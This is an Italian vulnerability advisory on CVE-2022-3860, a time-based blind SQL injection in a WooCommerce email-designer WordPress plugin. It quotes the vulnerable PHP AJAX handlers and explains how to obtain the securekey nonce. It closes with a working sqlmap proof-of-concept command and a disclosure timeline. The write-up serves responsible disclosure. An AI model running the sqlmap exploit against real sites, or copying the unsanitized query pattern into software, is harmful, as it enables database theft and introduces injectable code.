Visual Email Designer for WooCommerce < 1.7.2 - Multiple Author+ SQLi
Autore
Francesco Marano, Donato Di Pasquale
Prodotto affetto
Visual Email Designer for WooCommerce < 1.7.2 (WordPress plugin)
Riferimenti
Descrizione del prodotto
Visual Email Customizer for WooCommerce è un plugin per WordPress per progettare teamplate di email personalizzate che sostituiscano le email standard di WooCommerce.
Dettagli della vulnerabilità
Analizzando il codice ci è subito saltato all'occhio il file "sm-ajax.php" utilizzato per registrare gli hook (action e filter) del plugin. Per farlo utilizza un piccolo snippet di codice ripetuto per circa 50 volte, ogni volta specificando un differente hook e relativa funzione associata:
sm-ajax.phpadd_action('wp_ajax_NOME_DELLA_ACTION_AJAX', array( __CLASS__, 'NOME_DELLA_FUNZIONE_ASSOCIATA' ));
Il motivo per cui ci ha particolarmente attratti questo file è che utilizzare uno snippet di codice così semplice ripetuto così tante volte invece di utilizzare un ciclo e un dizionario (o qualche struttura dati equivalente), identifica una preferenza del programmatore all'uso del copia-incolla piuttosto che lo scrivere un codice pulito e manutenibile. In questi casi, se si torva una vulnerabilità, è ragionevole aspettarsi che quella vulnerabilità sia presente anche altrove.
Prendiamo un caso di esempio, la funzione social_function
:
sm-ajax.phpadd_action('wp_ajax_swcm_social_function', array( __CLASS__, 'social_function' ));
Il codice della funzione è il seguente:
sm-ajax.phppublic static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }
È semplice notare come questa funzione sia affetta da SQL injection sul parametro POST template_type
che viene utilizzato senza sanitizzazioni per costruire la query SQL.
sanitize_text_field
è una funzione di sanitizzazione da un punto di vista funzionale, ma non ha niente a che fare con la sicurezza. Il suo compito è quello di controllare la presenza di caratteri non UTF8, convertire "<" in "<", eliminare i tag, rimuovere tab, o altri caratteri di spaziatura, ecc.Prima di analizzare il codice e costruire l'exploit possiamo verificare l'ipotesi fatta precedentemente. Guardando molte altre funzioni presenti nello stesso file notiamo come tutte abbiano una struttura molto simile e siano tutte affette esattamente dalla medesima vulnerabilità, sul medesimo parametro. Vediamo un'altra funzione come esempio:
sm-ajax.phppublic static function image_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_image_id = sanitize_text_field($_POST['swcm_image_id']); $image_id = explode('_', $get_image_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $image_details['imgpos'] = $unser_template_details[$get_image_id]['img_position']; $image_details['media'] = $unser_template_details[$get_image_id]['img_media']; $image_details['bgcolor'] = $unser_template_details[$get_image_id]['img_bgcolor']; $image_details['imgwidth'] = $unser_template_details[$get_image_id]['img_width']; $image_details['imgheight'] = $unser_template_details[$get_image_id]['img_height']; $image_details['rwidth'] = $unser_template_details[$get_image_id]['rwidth']; $image_details['url'] = $unser_template_details[$get_image_id]['url']; $image_details['rounded'] = $unser_template_details[$get_image_id]['rounded']; $image_details['border'] = $unser_template_details[$get_image_id]['border']; $image_details['bordersize'] = $unser_template_details[$get_image_id]['bsize']; $image_details['bordercolor'] = $unser_template_details[$get_image_id]['bcolor']; $image_details['imgtop'] = $unser_template_details[$get_image_id]['top']; $image_details['imgbottom'] = $unser_template_details[$get_image_id]['bottom']; echo wp_json_encode($image_details); wp_die(); }
Come queste ci sono moltissime altre funzioni, tutte simili, tutte vulnerabili. Di seguito la lista completa:
- social_function
- swcm_video_function
- footer_function
- disclaimer_function
- image_function
- customer_function
- delete_widget_function
- hr_function
- maintext_function
- multi_image_function
- button_function
- title_function
- swcm_clone_widget
- order_function
- textarea_function
Continuiamo l'analisi della funzione precedente in modo da costruire un exploit funzionante.
sm-ajax.phppublic static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }
Il primo ostacolo risiede nell'uso della funzione check_ajax_referer
che controlla che esista un parametro securekey
con un valore generato casualmente durante il normale utilizzo del plugin. Possiamo quindi navigare il sito web nelle pagine relative al plugin, intercettare il traffico utilizzando ad esempio Burp o la console del browser e ottenere il valore da utilizzare.
Ottenuto il valore del parametro securekey
possiamo continuare. Vediamo come gli altri parametri non siano necessari dato che il punto di injection è subito dopo la parola SELECT
, quindi li omettiamo tutti ad eccezione di template_type
che è il nostro parametro vulnerabile.
In questo modo siamo già in grado di sfruttare la vulnerabilità in modo blind (time-based), ma è possibile fare di più? Purtroppo no, perché per avere in output il risultato della query abbiamo bisogno di specificare il parametro POST swcm_image_id
a un valore qualunque, ad esempio "sqli", e che la query ritorni una stringa che rappresenta un JSON nella forma:
{
"sqli": {
"img_position": "QUERY-SQL"
}
}
In questo modo avremmo in output:{
"iconpos": "RISULTATO-DELLA-QUERY-SQL",
"bgcolor": null,
"facebook": null,
"twitter": null,
"google": null,
"linkedin": null,
"skype": null,
"youtube": null,
"insta": null,
"rwidth": null
}
Purtroppo la funzione wp_magic_quotes
, abilitata a default su tutte le installazioni di WordPress, previene l'uso degli apici tramite l'escape. Questo implica che possiamo sfruttare la vulnerabilità fintanto che non utilizziamo apici, ma non possiamo manipolare l'output nel modo che ci serve per trasformare la SQL injection da blind a non blind.Proof of Concept
È possibile sfruttare la vulnerabilità con SQLMap:
$ export COOKIES='YOUR-SESSION-COOKIES-HERE'
$ export SECUREKEY='YOUR-SECUREKEY-HERE'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=swcm_social_function' --data "securekey=${SECUREKEY}&template_type=test" -p template_type --dbms=mysql --technique=T -H "Cookie: ${COOKIES}" --level=3
Disclosure timeline
22/09/2022
Vulnerabilità segnalata a WPScan
04/11/2022
Assegnata CVE-2022-3860
21/11/2022
Rilasciata fix ufficiale
09/12/2022
Advisory pubblicato da WPScan
23/12/2022
Pubblicata Proof of Concept (PoC)